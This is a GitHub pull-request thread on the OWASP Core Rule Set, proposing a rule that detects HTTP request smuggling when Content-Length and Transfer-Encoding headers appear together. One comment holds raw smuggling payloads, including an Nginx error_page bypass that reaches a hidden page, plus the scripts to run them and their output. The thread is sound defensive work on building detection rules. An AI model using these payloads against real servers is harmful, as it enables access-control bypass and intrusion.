-
Notifications
You must be signed in to change notification settings - Fork 728
Rule to check if both C-L and T-E are present #1310
Conversation
00f7f63
to
649c3b5
Compare
Nice rule. Thank you. Two questions: Strict sibling?I think this is not really a strict sibling, so I think it should get it's proper independent rule id ending in 0. Comment?The test says:
Could you explain this and what it means for the rule? |
It says "related to" but I can remove the comment and have a separate id, though I wanted to keep them close since they are really related. As for the test, apache silently removes the Content-Length header so the test fails. I think this is wrong in many accounts but that aside, the rules are not apache specific and the tests should cover them. By leaving the test enable we have the chance to find out how other consumers of these rules behave and whether we should update them. |
Monthly chat: Apache blocks this from happening anyways and we're not sure what NGINX is doing. Maybe the rule is redundant on all webservers. So we'll put it on hold and @fgsch checks out NGINX. |
Closing for now. Will reopen when I have an update. |
I do not remember why we came to the conclusion that Apache blocks this, because it does not according to my tests today. |
Rebased against 3.3/dev and updated. |
Meeting's outcome:
|
Hi, I can confirm that the @fgsch rule works as expected on Nginx + v3. It should be useful to add more rules to cover others request smuggling scenario (for example, request smuggling on nginx error_page published on December 2019: https://bertjwregeer.keybase.pub/2019-12-10%20-%20error_page%20request%20smuggling.pdf) I made a working PoC to fire the @fgsch rule that you can run on your docker. There's a script to test the Nginx request smuggling on error_page too: $ git clone https://github.com/theMiddleBlue/OWASP-CRS-PoC.git
$ cd OWASP-CRS-PoC/request-smuggling/
$ bash start.sh -p 1310
[*] Build and run all containers
...
[*] CRS Ready.
[*] Pull all changes from OWASP CRS remote repository
[*] Checkout Pull Request 1310
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Total 9 (delta 7), reused 7 (delta 7), pack-reused 2
Unpacking objects: 100% (9/9), done.
From https://github.com/SpiderLabs/owasp-modsecurity-crs
* [new ref] refs/pull/1310/head -> owasp-crs-poc-temp-branch
Switched to branch 'owasp-crs-poc-temp-branch'
[*] Restarting CRS container
[*] CRS Ready.
[*] Done. Exploit 1: Fire rule 920181The request I use to fire 920181 is: POST /a HTTP/1.1
Host: test
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Transfer-Encoding: chunked
1
a
0
You can execute the bash script inside the exploit/ directory: $ bash exploit/smuggling_fire_920181.sh Exploit 1: Audit Log# cat logs/audit/*/*/* | jq
{
"transaction": {
"client_ip": "172.16.7.1",
"time_stamp": "Thu Jan 9 10:33:58 2020",
"server_id": "d6a09b62fa436668256de5d3b8a4c859eb8cfb77",
"client_port": 51782,
"host_ip": "172.16.7.26",
"host_port": 80,
"unique_id": "157856243815.462115",
"request": {
"method": "POST",
"http_version": 1.1,
"uri": "/a",
"body": "a",
"headers": {
"Host": "test",
"Content-Type": "application/x-www-form-urlencoded",
"Transfer-Encoding": "chunked",
"Content-Length": "11"
}
},
"response": {
"body": "",
"http_code": 200,
"headers": {}
},
"producer": {
"modsecurity": "ModSecurity v3.0.3 (Linux)",
"connector": "ModSecurity-nginx v1.0.0",
"secrules_engine": "DetectionOnly",
"components": [
"OWASP_CRS/3.2.0\""
]
},
"messages": [
{
"message": "Content-Length and Transfer-Encoding headers present.",
"details": {
"match": "Matched \"Operator `Eq' with parameter `0' against variable `REQUEST_HEADERS:Content-Length' (Value: `1' )",
"reference": "",
"ruleId": "920181",
"file": "/opt/owasp-modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf",
"lineNumber": "247",
"data": "",
"severity": "4",
"ver": "OWASP_CRS/3.2.0",
"rev": "",
"tags": [
"application-multi",
"language-multi",
"platform-multi",
"attack-protocol",
"OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ",
"CAPEC-272"
],
"maturity": "0",
"accuracy": "0"
}
}
]
}
} Exploit 2: Nginx request smuggling on error_pageRequest: GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /hidden/index.html HTTP/1.1
Host: notlocalhost
exploit script # bash exploit/smuggling_get.sh
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Thu, 09 Jan 2020 09:55:56 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.com
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Thu, 09 Jan 2020 09:55:56 GMT
Content-Type: text/html
Content-Length: 31
Connection: keep-alive
Port 80: This should be hidden! This should be blocked by 920170 but, due to the Nginx, the phase:2 is not evaluated with this specific configuration. |
Nice PoC @theMiddleBlue , why not making copies instead of moving to phase 1? phase 1 rules inside apache locations don't work so under some circumstances those can be completely ignored. |
thanks @spartantri !
ouch, didn't know about it. With "apache locations" you mean |
need to be rebased before merge, I'll do it in the next few days. |
As @theMiddleBlue menti0oned above, we decided to merge this. It is meant as a first step towards mitigation of request smuggling / HTTP splitting attacks. Merge, so the table is clean and work can continue. Meeting minutes: #1671 (comment) |
Hope you don't mind I've rebased this now. |
So we're waiting for a fix to Travis and then we'll merge if green. |
Travis fails on 942350-2. |
SSIA.